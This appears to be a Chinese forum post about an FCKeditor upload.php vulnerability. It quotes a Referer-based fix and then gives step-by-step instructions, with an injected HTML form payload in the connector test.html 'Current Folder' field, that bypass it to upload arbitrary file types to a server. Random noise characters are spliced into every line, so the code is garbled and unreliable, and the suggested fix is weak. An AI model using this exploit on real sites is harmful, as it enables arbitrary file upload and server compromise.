漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php r& k2 S- c. T9 Y$ b
网上给出的修复方案是9 {: A" E: z* g+ h$ m1 r
修复方法,删除FCK编辑器用其他的编辑器
% w, J; W8 l8 S/ A# W" \或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
+ j, J+ Z5 y/ _ P% S c在+ k) f$ D1 e3 m- a7 ^, d8 [/ Q0 f
require(‘config.php’);2 B- O; Q4 U+ Z
require(‘util.php’);
4 e: j1 k4 a4 R7 @8 |的下面添加以下代码—————————–
' ~3 q2 `6 e2 i, U: T7 X! U* M//防止外部提交1 q- ^4 s" u, ]* p
function outsidepost()& {4 d* ?$ \0 l0 J ~( S# X& N( B
{# Z+ P' b8 E1 {5 b$ A8 x
$servername=$_SERVER['SERVER_NAME'];$ b; o4 f+ r' U6 P
$sub_from=@$_SERVER['HTTP_REFERER'];
; |& D* n2 J4 E1 B! d; Y+ |$sub_len=strlen($servername);3 r* _% ~6 w/ Y6 l" K
$checkfrom=substr($sub_from,7,$sub_len);; C, \' d! B: \) H1 ~3 U0 x+ R, A5 c
if($checkfrom!=$servername){" c0 u0 M9 W5 ~& m6 U' C( o
echo(“you don’t outsidepost!”);6 g3 h; B* J, E' H, l3 `' L
exit;2 Z5 p4 ` o0 h0 M' e, a' n" j V
} y" s0 `0 f( P" p! a' S% I
}( G# [: u9 s; X0 S0 j- u( I
outsidepost();3 |, [& E, h c& A
防止外部提交,但是没有防止内部提交,) }* g. E. r3 y5 y
利用方法:% Q) T5 K9 k+ P; L. `
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
9 G+ E ~! ~6 T: E2,在Current Folder 框输入
u$ V( S7 L4 |0 f! g<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>7 \0 c7 X3 f4 v* F, P5 x6 ]6 Y
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
# d4 p& r& M* ~' ]) n \/ C. W6 \ tPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |